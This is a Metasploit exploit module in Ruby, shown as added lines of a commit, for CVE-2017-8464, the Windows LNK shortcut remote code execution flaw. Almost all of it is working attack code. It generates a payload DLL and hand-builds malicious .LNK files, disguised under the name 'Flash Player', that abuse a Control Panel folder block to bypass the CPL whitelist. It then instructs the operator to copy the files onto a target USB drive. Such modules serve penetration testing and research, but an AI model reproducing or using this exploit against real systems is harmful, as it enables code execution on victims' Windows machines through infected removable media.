1+ ##
2+ # This module requires Metasploit: http://metasploit.com/download
3+ # Current source: https://github.com/rapid7/metasploit-framework
4+ ##
5+
6+ class MetasploitModule < Msf ::Exploit ::Remote
7+ Rank = ExcellentRanking
8+
9+ include Msf ::Exploit ::EXE
10+
11+ attr_accessor :exploit_dll_name
12+
13+ def initialize ( info = { } )
14+ super ( update_info ( info ,
15+ 'Name' => 'LNK Remote Code Execution Vulnerability' ,
16+ 'Description' => %q{
17+ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
18+ that contain a dynamic icon, loaded from a malicious DLL.
19+
20+ This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
21+ similar except in an additional SpecialFolderDataBlock is included. The folder ID set
22+ in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
23+ the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
24+ DLL file.
25+ } ,
26+ 'Author' =>
27+ [
28+ 'Uncredited' , # vulnerability discovery
29+ 'Yorick Koster' # msf module
30+ ] ,
31+ 'License' => MSF_LICENSE ,
32+ 'References' =>
33+ [
34+ [ 'CVE' , '2017-8464' ] ,
35+ [ 'URL' , 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464' ] ,
36+ [ 'URL' , 'http://paper.seebug.org/357/' ] , # writeup
37+ [ 'URL' , 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt' ] # writeup
38+ ] ,
39+ 'DefaultOptions' =>
40+ {
41+ 'EXITFUNC' => 'process' ,
42+ } ,
43+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
44+ 'Payload' =>
45+ {
46+ 'Space' => 2048 ,
47+ } ,
48+ 'Platform' => 'win' ,
49+ 'Targets' =>
50+ [
51+ [ 'Windows x64' , { 'Arch' => ARCH_X64 } ] ,
52+ [ 'Windows x86' , { 'Arch' => ARCH_X86 } ]
53+ ] ,
54+ 'DefaultTarget' => 0 , # Default target is 64-bit
55+ 'DisclosureDate' => 'Jun 13 2017' ) )
56+
57+ register_advanced_options (
58+ [
59+ OptBool . new ( 'DisablePayloadHandler' , [ false , 'Disable the handler code for the selected payload' , true ] )
60+ ] )
61+ end
62+
63+ def exploit
64+ dll = generate_payload_dll
65+ dll_name = "#{ rand_text_alpha ( 16 ) } .dll"
66+ dll_path = store_file ( dll , dll_name )
67+ print_status ( "#{ dll_path } created copy it to the root folder of the target USB drive" )
68+
69+ # HACK the vulnerability doesn't appear to work with UNC paths
70+ # Create LNK files to different drives instead
71+ 'DEFGHIJKLMNOPQRSTUVWXYZ' . split ( "" ) . each do |i |
72+ lnk = generate_link ( "#{ i } :\\ #{ dll_name } " )
73+ lnk_path = store_file ( lnk , "#{ rand_text_alpha ( 16 ) } _#{ i } .lnk" )
74+ print_status ( "#{ lnk_path } create, copy to the USB drive if drive letter is #{ i } " )
75+ end
76+ end
77+
78+ def generate_link ( path )
79+ path << "\x00 "
80+ display_name = "Flash Player\x00 " # LNK Display Name
81+ comment = "\x00 "
82+
83+ # Control Panel Applet ItemID with our DLL
84+ cpl_applet = [
85+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x6a , 0x00 , 0x00 , 0x00 , 0x00 ,
86+ 0x00 , 0x00
87+ ] . pack ( 'C*' )
88+ cpl_applet << [ path . length ] . pack ( 'v' )
89+ cpl_applet << [ display_name . length ] . pack ( 'v' )
90+ cpl_applet << path . unpack ( 'C*' ) . pack ( 'v*' )
91+ cpl_applet << display_name . unpack ( 'C*' ) . pack ( 'v*' )
92+ cpl_applet << comment . unpack ( 'C*' ) . pack ( 'v*' )
93+
94+ # LinkHeader
95+ ret = [
96+ 0x4c , 0x00 , 0x00 , 0x00 , # HeaderSize, must be 0x0000004C
97+ 0x01 , 0x14 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xc0 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x46 , # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
98+ 0x81 , 0x00 , 0x00 , 0x00 , # LinkFlags (HasLinkTargetIDList | IsUnicode)
99+ 0x00 , 0x00 , 0x00 , 0x00 , # FileAttributes
100+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , # CreationTime
101+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , # AccessTime
102+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , # WriteTime
103+ 0x00 , 0x00 , 0x00 , 0x00 , # FileSize
104+ 0x00 , 0x00 , 0x00 , 0x00 , # IconIndex
105+ 0x00 , 0x00 , 0x00 , 0x00 , # ShowCommand
106+ 0x00 , 0x00 , # HotKey
107+ 0x00 , 0x00 , # Reserved1
108+ 0x00 , 0x00 , 0x00 , 0x00 , # Reserved2
109+ 0x00 , 0x00 , 0x00 , 0x00 # Reserved3
110+ ] . pack ( 'C*' )
111+
112+ # IDList
113+ idlist_data = ''
114+ idlist_data << [ 0x12 + 2 ] . pack ( 'v' ) # ItemIDSize
115+ idlist_data << [
116+ # This PC
117+ 0x1f , 0x50 , 0xe0 , 0x4f , 0xd0 , 0x20 , 0xea , 0x3a , 0x69 , 0x10 , 0xa2 , 0xd8 , 0x08 , 0x00 , 0x2b , 0x30 ,
118+ 0x30 , 0x9d
119+ ] . pack ( 'C*' )
120+ idlist_data << [ 0x12 + 2 ] . pack ( 'v' ) # ItemIDSize
121+ idlist_data << [
122+ # All Control Panel Items
123+ 0x2e , 0x80 , 0x20 , 0x20 , 0xec , 0x21 , 0xea , 0x3a , 0x69 , 0x10 , 0xa2 , 0xdd , 0x08 , 0x00 , 0x2b , 0x30 ,
124+ 0x30 , 0x9d
125+ ] . pack ( 'C*' )
126+ idlist_data << [ cpl_applet . length + 2 ] . pack ( 'v' )
127+ idlist_data << cpl_applet
128+ idlist_data << [ 0x00 ] . pack ( 'v' ) # TerminalID
129+
130+ # LinkTargetIDList
131+ ret << [ idlist_data . length ] . pack ( 'v' ) # IDListSize
132+ ret << idlist_data
133+
134+ # ExtraData
135+ # SpecialFolderDataBlock
136+ ret << [
137+ 0x10 , 0x00 , 0x00 , 0x00 , # BlockSize
138+ 0x05 , 0x00 , 0x00 , 0xA0 , # BlockSignature 0xA0000005
139+ 0x03 , 0x00 , 0x00 , 0x00 , # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
140+ 0x28 , 0x00 , 0x00 , 0x00 # Offset in LinkTargetIDList
141+ ] . pack ( 'C*' )
142+ # TerminalBlock
143+ ret << [ 0x00 , 0x00 , 0x00 , 0x00 ] . pack ( 'V' )
144+ ret
145+ end
146+
147+ # Store the file in the MSF local directory (eg, /root/.msf4/local/)
148+ def store_file ( data , filename )
149+ ltype = "exploit.fileformat.#{ self . shortname } "
150+
151+ if ! ::File . directory? ( Msf ::Config . local_directory )
152+ FileUtils . mkdir_p ( Msf ::Config . local_directory )
153+ end
154+
155+ if filename and not filename . empty?
156+ if filename =~ /(.*)\. (.*)/
157+ ext = $2
158+ fname = $1
159+ else
160+ fname = filename
161+ end
162+ else
163+ fname = "local_#{ Time . now . utc . to_i } "
164+ end
165+
166+ fname = ::File . split ( fname ) . last
167+
168+ fname . gsub! ( /[^a-z0-9\. \_ \- ]+/i , '' )
169+ fname << ".#{ ext } "
170+
171+ path = File . join ( "#{ Msf ::Config . local_directory } /" , fname )
172+ full_path = ::File . expand_path ( path )
173+ File . open ( full_path , "wb" ) { |fd | fd . write ( data ) }
174+
175+ full_path . dup
176+ end
177+ end
0 commit comments